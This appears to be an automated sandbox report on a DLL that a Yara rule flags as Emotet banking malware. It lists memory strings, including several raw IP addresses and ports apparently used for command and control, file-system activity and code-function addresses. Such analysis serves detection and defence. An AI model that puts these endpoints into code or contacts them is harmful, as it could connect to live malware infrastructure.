Source: svchost.exe, 00000008.00000002.604698069.000001E15FA62000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.278820009.00000000031DD000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.407621482.000001961E10B000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.408682546.000001961E10C000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000008.00000002.604698069.000001E15FA62000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.11.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: svchost.exe, 00000008.00000002.604454697.000001E15A2B1000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.603917359.000001E15A2B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: svchost.exe, 0000000F.00000002.307962780.0000025B4EE13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://168.197.250.14/
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	String found in binary or memory: https://168.197.250.14/AR1B
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://168.197.250.14/HR
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://168.197.250.14:80/ctsONulME
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	String found in binary or memory: https://168.197.250.14:80/z
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://177.72.80.14/
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://177.72.80.14/ZR8B
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://177.72.80.14:7080/iWFUUeWljUhVsRHEOKBBOqGWSiJFZYkHnHENgHC
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://196.44.98.190/
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://196.44.98.190:8080/fRmCLCTmnCqbhnJwguPmnKiWalLOGONSERVER=
Source: rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48/
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48:8080/
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48:8080/J
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcx
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcx5E4AB229
Source: rundll32.exe, 0000000B.00000002.779087689.00000000031D7000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.513345990.00000000031D7000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48:8080/PrpBPOmfFHGkdQRTlGtZeqncCXIcxL
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48:8080/b
Source: rundll32.exe, 0000000B.00000003.328519511.00000000031D8000.00000004.00000001.sdmp	String found in binary or memory: https://45.79.33.48:8080/cx
Source: rundll32.exe, 0000000B.00000003.278901559.00000000031BA000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328685207.00000000031BC000.00000004.00000001.sdmp	String found in binary or memory: https://51.178.61.60/
Source: rundll32.exe, 0000000B.00000003.278901559.00000000031BA000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328685207.00000000031BC000.00000004.00000001.sdmp	String found in binary or memory: https://51.178.61.60/20
Source: rundll32.exe, 0000000B.00000003.328685207.00000000031BC000.00000004.00000001.sdmp	String found in binary or memory: https://51.178.61.60/euUFqPgNCDyXyAnWOWQLJNWJizfGCbPiK
Source: svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000F.00000003.307634342.0000025B4EE51000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000002.308016792.0000025B4EE55000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000F.00000002.307997677.0000025B4EE42000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307709990.0000025B4EE41000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000F.00000002.308002830.0000025B4EE4B000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000F.00000002.308002830.0000025B4EE4B000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000F.00000002.308002830.0000025B4EE4B000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307669554.0000025B4EE49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000F.00000003.307703491.0000025B4EE45000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000F.00000003.307655084.0000025B4EE60000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000F.00000002.307991216.0000025B4EE3D000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000002.307962780.0000025B4EE13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307703491.0000025B4EE45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000F.00000003.307688552.0000025B4EE40000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307703491.0000025B4EE45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000F.00000003.285856181.0000025B4EE30000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.307722267.0000025B4EE39000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000F.00000002.307962780.0000025B4EE13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000018.00000003.386525296.000001961E18F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386693372.000001961E1AF000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386618019.000001961E199000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386570925.000001961E16C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386589261.000001961E17D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.386716259.000001961E16C000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000018.00000003.387694664.000001961E176000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.387711669.000001961E187000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 11_2_10021027 InternetReadFile,

11_2_10021027

Source: global traffic

Source: unknown

HTTPS traffic detected: 51.178.61.60:443 -> 192.168.2.7:49751 version: TLS 1.2

Source: loaddll32.exe, 00000001.00000002.261078261.0000000000FEB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 11.3.rundll32.exe.3186e08.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2aa6d88.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.3146c98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.28b6cb8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.3186e08.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2aa6d88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.3146c98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.28b6cb8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3146c98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.rundll32.exe.3186e08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2eb6e00.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3146c98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.rundll32.exe.3186e08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.28b6cb8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.3186e08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2eb6e00.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.259345300.00000000028B6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.778948976.0000000003173000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.261741914.000000000310A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.258654572.0000000002AA6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.257305049.0000000003146000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.513585241.0000000003173000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.328562700.0000000003173000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.258124529.00000000028B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.264342755.0000000002EB6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.278848660.0000000003173000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Source: pPX9DaPVYj.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Vjqsuducipqiide\

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBB2B0	4_2_6EFBB2B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBBB30	4_2_6EFBBB30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFB9F20	4_2_6EFB9F20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBB080	4_2_6EFBB080
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFC6564	4_2_6EFC6564
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBBB30	5_2_6EFBBB30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBB2B0	5_2_6EFBB2B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFB9F20	5_2_6EFB9F20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBB080	5_2_6EFBB080
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFC6564	5_2_6EFC6564
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000441E	5_2_1000441E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001CAA8	5_2_1001CAA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100143B3	5_2_100143B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10004C00	5_2_10004C00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10008C09	5_2_10008C09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10011C10	5_2_10011C10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000F41F	5_2_1000F41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000EC27	5_2_1000EC27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000943C	5_2_1000943C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001F83F	5_2_1001F83F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001E441	5_2_1001E441
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10002043	5_2_10002043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10003845	5_2_10003845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000A048	5_2_1000A048
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001406E	5_2_1001406E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10001C76	5_2_10001C76
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001748A	5_2_1001748A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000CC8D	5_2_1000CC8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001D091	5_2_1001D091
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10003C91	5_2_10003C91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000AC95	5_2_1000AC95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001AC9B	5_2_1001AC9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100178A5	5_2_100178A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100198BD	5_2_100198BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100208D1	5_2_100208D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001CCD4	5_2_1001CCD4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001ECE3	5_2_1001ECE3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001A8F0	5_2_1001A8F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100030F6	5_2_100030F6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10003502	5_2_10003502
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001FD10	5_2_1001FD10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000251C	5_2_1000251C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10005923	5_2_10005923
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1002292B	5_2_1002292B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001F14D	5_2_1001F14D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000C158	5_2_1000C158
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001056A	5_2_1001056A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10014D8D	5_2_10014D8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10021193	5_2_10021193
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000FD91	5_2_1000FD91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001D99A	5_2_1001D99A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10019DA1	5_2_10019DA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001B1B5	5_2_1001B1B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100225C3	5_2_100225C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100055E8	5_2_100055E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000C5FE	5_2_1000C5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10001A0A	5_2_10001A0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000220A	5_2_1000220A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000E21C	5_2_1000E21C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10015220	5_2_10015220
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10009E22	5_2_10009E22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000D223	5_2_1000D223
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10021A3C	5_2_10021A3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10002A46	5_2_10002A46
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10002654	5_2_10002654
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10009A57	5_2_10009A57
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10007283	5_2_10007283
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10020687	5_2_10020687
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10014E8A	5_2_10014E8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000FEA0	5_2_1000FEA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001D6A7	5_2_1001D6A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000DAAE	5_2_1000DAAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100166BC	5_2_100166BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001BEC9	5_2_1001BEC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10010ADE	5_2_10010ADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001AEEB	5_2_1001AEEB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001DEF4	5_2_1001DEF4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10002309	5_2_10002309
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10006B25	5_2_10006B25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10016726	5_2_10016726
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10020B34	5_2_10020B34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10021343	5_2_10021343
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10003345	5_2_10003345
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10003F5C	5_2_10003F5C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10004F8E	5_2_10004F8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001B397	5_2_1001B397
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10014BA4	5_2_10014BA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10014BAA	5_2_10014BAA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10017BB2	5_2_10017BB2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000BFB6	5_2_1000BFB6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10006FC4	5_2_10006FC4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000A3DF	5_2_1000A3DF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001BFE8	5_2_1001BFE8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_100203F1	5_2_100203F1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10004C00	6_2_10004C00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000441E	6_2_1000441E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000F41F	6_2_1000F41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000943C	6_2_1000943C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10002043	6_2_10002043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10003845	6_2_10003845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10002A46	6_2_10002A46
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1001CAA8	6_2_1001CAA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100208D1	6_2_100208D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1001ECE3	6_2_1001ECE3
